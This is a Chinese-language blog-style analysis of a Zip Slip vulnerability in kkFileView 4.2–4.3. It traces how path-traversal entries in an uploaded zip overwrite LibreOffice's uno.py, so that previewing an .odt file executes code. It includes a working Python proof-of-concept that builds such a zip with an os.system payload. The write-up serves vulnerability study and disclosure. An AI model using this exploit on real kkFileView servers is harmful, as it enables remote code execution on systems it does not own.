kkFileView远程代码执行漏洞分析

kkFileView由于前台上传功能在处理压缩包时,从仅获取文件名改为获取文件名及其目录
导致出现了Zip Slip漏洞。这使得攻击者可上传包含恶意代码的压缩包并覆盖系统文件
随后通过调用这些被覆盖的文件实现远程代码执行。

文章首发个人微信公众号

影响版本

v4.2.1~v4.2.0
v4.3.0~v4.40

漏洞分析

根据https://github.com/kekingcn/kkFileView/issues/553 给出的漏洞点分析

关键代码在CompressFileReader 类,该类主要将上传的zip解压,但是解压时获取文件名及其目录,导致可以覆盖任意文件内容和写入任意文件

在这里插入图片描述
我们一步步调试看看,下断点

在这里插入图片描述
在这里插入图片描述
在56行代码中,extractPath为文件路 folderName为上传的zip文件名称

File file = new File(extractPath, folderName + "_" + File.separator + str1);

在这里插入图片描述

在57行代码中 判断文件是否为空,为空就创建目录
在这里插入图片描述接着创建文件流,但是他写入文件是将目录一下写入了,使用…/…/ 即可导致任意文件内容覆盖

OutputStream out = new FileOutputStream( extractPath+ folderName + "_" + File.separator + str[0], true);
在这里插入图片描述
在这里插入图片描述
虽然写入文件,但是没有调用uno.py的方法,根据大佬的方法

目标在使用odt转pdf时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件

接着分析预览odt

在OfficeToPdfService类中 将.odt 文件转为PDF文件

在这里插入图片描述
并成功执行calc
在这里插入图片描述
下面代码就是执行 LibreOffile

builder.build().convert(inputFile).to(outputFile).execute();

来分析一下 builder

从代码中 builder LocalConverter.Builder 定义的
在这里插入图片描述

LocalConverter.Builder 类实现 build

public static final class Builder extends AbstractConverterBuilder<LocalConverter.Builder> {  
    private boolean applyDefaultLoadProperties;  
    private boolean useUnsafeQuietUpdate;  
    private LoadDocumentMode loadDocumentMode;  
    private FilterChain filterChain;  
    private Map<String, Object> loadProperties;  
    private Map<String, Object> storeProperties;  
  
    private Builder() {  
        this.applyDefaultLoadProperties = true;  
        this.useUnsafeQuietUpdate = false;  
        this.loadDocumentMode = LocalConverter.DEFAULT_LOAD_DOCUMENT_MODE;  
    }  
  
    @NonNull  
    public LocalConverter build() {  
        OfficeManager manager = this.officeManager;   // 表示 Office 应用程序的管理器,负责启动和停止 Office 应用程序实例。
        if (manager == null) {  
            manager = InstalledOfficeManagerHolder.getInstance();  //获取已安装的 OfficeManager 实例。
            if (manager == null) {  
                throw new IllegalStateException("An office manager is required in order to build a converter.");  
            }  
        }  
  
        Map<String, Object> loadProperties = new HashMap();  
        if (this.applyDefaultLoadProperties) {  
            loadProperties.putAll(LocalConverter.DEFAULT_LOAD_PROPERTIES);  
            if (this.useUnsafeQuietUpdate) {  
                loadProperties.put("UpdateDocMode", Short.valueOf((short)1));  
            }  
        }  
  
        if (this.loadProperties != null) {  
            loadProperties.putAll(this.loadProperties);  
        }  
  
        return new LocalConverter(manager, this.formatRegistry == null ? DefaultDocumentFormatRegistry.getInstance() : this.formatRegistry, this.loadDocumentMode, loadProperties, this.storeProperties, this.filterChain);  //JodConverter 提供的一个本地文档转换器,用于在本地执行文档转换任务。
    }

execute()

public void doExecute() throws OfficeException {  
    boolean useStreamAdapters = LocalConverter.this.loadDocumentMode == LoadDocumentMode.REMOTE || LocalConverter.this.loadDocumentMode == LoadDocumentMode.AUTO && LocalConverter.this.officeManager instanceof ExternalOfficeManager;  
    LocalConversionTask task = new LocalConversionTask(this.source, this.target, useStreamAdapters, LocalConverter.this.loadProperties, LocalConverter.this.storeProperties, LocalConverter.this.filterChain);  
    LocalConverter.this.officeManager.execute(task);  
}

在这里插入图片描述
这段代码定义了一个名为· doExecute() ·的方法,该方法用于执行文档转换任务。让我们逐步分析它:

useStreamAdapters 变量用于确定是否使用流适配器。它的值取决于 LocalConverter 对象的 loadDocumentMode 属性和 officeManager 的类型。
如果 loadDocumentModeREMOTE,或者 loadDocumentMode 是 AUTO 且 officeManagerExternalOfficeManager 的实例,则设置为 true;否则设置为 false。
创建一个 LocalConversionTask 对象,用于表示本地文档转换任务。构造方法接受源文件、目标文件、是否使用流适配器、加载属性、存储属性和过滤器链等参数。
使用 officeManager 执行上述创建的文档转换任务 task。

漏洞分析总结

OutputStream out = new FileOutputStream( extractPath+ folderName + "_" + File.separator + str[0], true); 使用…/…/ 即可导致任意文件内容覆盖

builder.build().convert(inputFile).to(outputFile).execute(); 转换pdf是启动了LibreOffile 并执行 C:\Users\26927\Downloads\kkFileView-4.2.1\server\libreoffice\program\uno.py 脚本中内容导致RCE

漏洞复现

复测版本:4.2.1

下载地址:https://github.com/kekingcn/kkFileView/tree/v4.2.1

使用IDEA搭建,并运行
在这里插入图片描述
构造恶意的zip包

import zipfile


def main():
    try:
        binary1 = b'1ue'
        binary2 = b'import os\r\nos.system(\'calc\')'
        zipFile = zipfile.ZipFile("test1.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("test1.zip")
        zipFile.writestr("test", binary1)
        zipFile.writestr("../../../../libreoffice/program/uno.py", binary2)
        zipFile.close()
    except IOError as e:
        raise e

if __name__ == "__main__":
    main()

将zip包上传并预览,路径为我当前本地搭建的,不一定通用
在这里插入图片描述
在这里插入图片描述
成功将内容写入到了 uno.py

在这里插入图片描述

接着上传任意odt后缀的文件,并预览

成功执行弹窗计算器

在这里插入图片描述

Logo

技术共进,成长同行——讯飞AI开发者社区

更多推荐